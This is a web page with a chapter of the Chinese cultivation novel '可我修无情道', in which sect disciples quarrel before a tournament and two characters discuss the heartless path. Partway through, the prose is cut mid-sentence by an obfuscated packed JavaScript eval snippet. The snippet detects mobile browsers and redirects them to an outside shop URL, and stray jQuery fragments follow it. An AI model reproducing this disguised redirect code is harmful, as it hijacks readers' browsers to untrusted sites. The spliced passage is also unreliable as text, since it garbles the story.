文趣网 > 其他小说 > 可我修无情道 > 9. 话本
    “我还有事,先走了。你们切记不可忘记修炼,后日便是宗门大比,别忘了师傅说的什么。”

    沈清辞转过头,他撂下话,目不斜视的往桥上走了,白衣飘飘,毫无眷恋。

    凌飞澄原本还笑着的脸瞬间蔫了,他苦恼的叹了口气,与他同行的其他弟子脸上表情尽数相同。

    但很快他又瞥见千秋儿身旁的玉无双,伸手作揖。

    “玉姑娘,方才没顾及和你打招呼,那日之后再见面,您依旧光彩夺目,”他顿了顿,又笑,“只是我着实没想到,您术法也如此高超,刚才那几下,真真叫人连连称叹,可谓是女中豪杰,英姿飒爽!”

    付遒被忽视的脸都黑了,听到这再也忍不住,瞬间冒出来大声道。

    “喂喂喂!你们到底说完没有,你!赶紧出来打架!别再让我说第三遍!”

    千秋儿哪有空搭理他,她沉浸在思绪里,面色不佳,玉无双说道。

    “她既然不愿,你又何必强逼,过招需二人都有意,不然便是一味欺压,强人所难。”

    “你又是哪位,我从未见过你!”

    “这位玉姑娘,也与千秋儿同住莲池。”凌飞澄顿了顿,一手搂过付遒,“你没见过很正常,比你厉害的多了去了,你若全都见过,不早被打死了。”

    “你小子,我三天没与你过招,你皮痒了吧!”

    “老付,不可冲动啊!这么多人看着呢!”

    玉无双忽略凌飞澄身后对她好奇的目光,前几日凌飞澄前来送酒时态度恭敬,虽神经大条,但言辞间不像毫不知情。

    她猜到掌门对几位内门弟子应有了示意,有了这些弟子带头,其余人断然也不会再对她与凭空冒出的儒醉山怀疑什么。

    但他们也不能一直躲在莲池,早晚要与人见面。有了今日一遭,后日宗门大比应会省事不少。

    她对魂不守舍的千秋儿低声道。

    “既已取完信,我便传送你回莲池,正是午时,想必吃食已送来,你若不及时回去,想必那人不会给你留半点。”

    千秋儿虽有了修为,但并没有开始修炼,辟谷更是不可能。

    儒醉山又是个喜欢招猫逗狗,玩弄她人的,每日捧着酒神神叨叨,像个游魂般神出鬼没,自从撞见她与千秋儿每日会在芳园吃些东西,便也跟着他们一起。但就玉无双看来,只要不搭理他,他便抱着酒自娱自乐去了。

    她也不是顿顿都吃,偶尔品尝一口,多数在一旁看话本。

    她对自己没严格的辟谷要求,毕竟游历时,她更是吃了不少引谵做的黑暗料理。

    想起那东西就有些不适,玉无双响指一打,二人便迅速原地撤离了。

    “喂!怎么走了!”与凌飞澄打闹的付遒转过头,生气道,“可恶!都怪你,若不是你,我去今日便与那人过上几招,分出个胜负!”

    身后的师兄师姐见没了热闹,也连忙告了别,凌飞澄同他们点点头,转身无奈道。

    “老付,你今日跟这千秋儿杠上了一样,怎的就盯着她一女子不放,你还有没有修养。”

    “呸!”付遒唾沫都溅他脸上了,“修养算个什么,宗门大比在即,我若不上场,地峰什么都没有了。”

    他低下头,烦躁地扯了扯前额刘海,见路过的人变少,他放低声音。

    “你可知前几日地峰唯一名额被取消,只因那莲池女子要顶替而上,我今日来,就是想夺回我的位置,峰里已衰败百年,若我此次不上场,要怎么等来下个出头之日?”

    凌飞澄倒是没想到这茬。

    他拜在掌门名下,又是门内最小的弟子——从前师兄师姐对他呵护宠爱,他也是个讨喜的性子,更是活得滋润无比。偶尔练练功,摸摸鱼,日子一天天也就过去了,因着有些天赋,掌门也教训不动他,便随他去了。

    宗门大比喧哗多年,热度不减。就连他们宗门所得的名额也是有限,每每出战的弟子,不是万里挑一的人杰,便是压着宝,背负着全峰,指望着一战成名的希望。

    付遒他一同入宗,拜在地峰峰主名下,地峰多年来不被重视,人才凋零,衰颓之势难逆。

    傅裘勤奋上进,又是个不肯服输的性子。前些年他刚入宗,众人都以为他得了羊癫疯——不然怎会日日没完没了地挑衅宗门中修为高深的弟子,明知修为有所差距,却不知死活的约战,后来见他境界略有提高,习惯之后便也随他去了。

    凌飞澄与他关系不错,也知道付遒所执着的是什么。

    但爱莫能助,他只能拍拍付遒的肩,思索半响,也只能说。

    “哥请你下山吃鸡腿,你就些酒,以泪洗面吧。”

    “去你的!”

    插科打诨一会,付遒脸色仍没有半点好转,他也知凌飞澄在此事上帮不上什么忙。

    毕竟今年就连掌门名下,也只出了凌飞澄与他三师姐二人。沈清辞前日飞升金丹,虽是喜事,但很不凑巧,宗门大比严禁金丹以上弟子参选。

    不过大比当日,沈清辞这位负责任出了名的师兄,肯定也会一同前去。

    “我虽帮不了你,也诚心替你惋惜。不过你听我一言,那莲池所住之人,并没有那么简单。你若实在心理过不去,我便去求师兄,叫他与你过上两三招,也算补上了那宗门大比的提升。你莫要再去寻他们,大比前还是不要闹出什么幺蛾子。”

    更多的,凌飞澄不便说了,他知道付遒不是个笨的,也只希望他忍下心中怨气,莫要冲动。

    付遒前额的头发长了,盖住他的眼,他神色并不佳,但听到这话后,没有再说什么。

    *

    “我回房去了。”

    千秋儿撂下碗筷,儒醉山看了眼她碗中菜,没动几根。

    他倒没说什么,反而多夹了几块肉,细嚼慢咽了几口,又不愿再吃,继续捧着酒喝了。

    玉无双叫住千秋儿。

    “午时休息片刻,半个时辰后,我在小园等你。”

    千秋儿不解道,“可有何事?”

    玉无双一搭没一搭地翻着手中的话本。

    “倒也没什么事,不过是为了应付后日的宗门大比,我有几招教于你。”

    千秋儿面色更灰沉,宛如霜打的茄子。玉无双瞥了眼事不关己,酒喝得正欢的儒醉山——他显然已飘飘欲绝,神色迷醉的脸上挂着笑,仿佛已然飘入云端,不知天地为何物。

    “实若不行,叫他来教你。”

    千秋儿连忙说,“不要他!”

    “好,那我半个时辰后在小园等你,你不必带什么。”

    鹅黄色身影消失在门角,只是却不再似几日前那般欢快。

    儒醉山已然趴下,他毫无形象的脸掉在桌子上,衣衫从不知穿好,领口大开着。幸而那一头长发落下,盖住了些颜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773940|209979||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    色,总不至于太过放荡。

    “你若无事,便回你院中买醉。这园中都是酒味,你要让你的酒淹了整个莲池吗?”

    桌上的人模糊地说,“怎么就许你们二人每日相约至此,小伴怡情。不许我来干扰你二人世界?”

    “我那是与她促进感情。”玉无双正看到翩翩少女死缠烂打高冷少年的桥段,她指着书面上的几行字道。

    “万事不可过于急促,叫人一眼看到你的虚假,而看不到你的真心。温水煮青蛙,下一步推进才有自然。”

    儒醉山闷闷一笑,他从酒瓶中抬起头来,手撑在桌子上,歪着头看她。

    “那是掌门那蠢弟子错塞进来的小话本,倒是叫你看了进去。怎么着?你已学会如何追随男子?捅破那层薄纱了?”

    玉无双却道。

    “所谓女追男隔层纱,我并不认同。这世间人性种种,所思所想、所求所爱也截然不同。沈清辞与千秋儿也算有多年感情,可还不是说断就断?今日他们二人见面,那沈清辞却如同陌生人般,连千秋儿姓名也未叫出口。这又岂止是一层纱?面前隔着的可是一座冷冰山。”

    “冰山?”儒醉山敲着手指,饶有兴味,“说起来,他与你还有几分相像,你们二人皆是一张冷如玉的脸,修的也是那无情道。”

    他好奇似的。

    “你同我说说,你们无情道究竟会为何所动?难道这一生便守着一块寒冰似的心,就此坠入寒窟,孤独终老吗?”

    斜阳落进窗柩,片片光影洒在桌面。

    玉无双早就施了咒,情理了那满桌吃食。而儒醉山那一角,错落着几个空空荡荡的酒瓶。

    浓郁的气息被她的术法挥得消散了些,但陈坛佳酿,其间不知加了多少灵法与锁味材料,喝酒人身上所缠的茉莉香,竟比那酒中冒出的还要浓厚深沉。

    同样的话,玉无双已不是初次听。

    也曾有人好奇问她,无情道究竟修的是何物?断情锁爱?咽恨吞声?

    如此在这世间,究竟还有何般意义?修得大道竟只为独身通往那天端,明明活着,却比魂飞魄散还要孤单些。

    旁人问起她时,她多半笑笑,不多一言。

    这样的举动更令他人钦佩或肯定,好似他们只需这一个反应,便可揣测出其背后蕴含的种种念想。

    实则她只是不知该如何说起,从何说起。

    若非要说,无情道将她带到了更喧哗的世界,而未修道法的她则是真的孤身一人,在世间流离失所,生怕自己在睡梦中死去也浑然不觉。

    “我亦有师傅同门,怎的就算得上孤独终老了?”她拿起话本,觉得儒醉山一时半不会离去了,便自行起身。

    “你若要问,应当去问沈清辞本人。即使你瞧了那姻缘簿,不是也揣测不出他的心意吗?你若真因那三言两语便定了一个人的一生,那他们也不会像如今这般偏移命书,叫你我二人费尽心思为其牵线搭桥了。”

    “唉。”儒醉山看她离去的背影踏过门槛,穿过斜光走入那更灼目燥热的门外。

    “小小年纪,老成在在。你如此妙语连珠,不知多少蠢货被你所骗啊。”

    他举起身侧最后一瓶酒,却一滴也倒不出来了。

    儒醉山瞧着空荡荡的瓶,心道这纪添逍这几日如此懈怠,酒没了都不知道与他送来,他恐怕得找个时间好好与他说说了。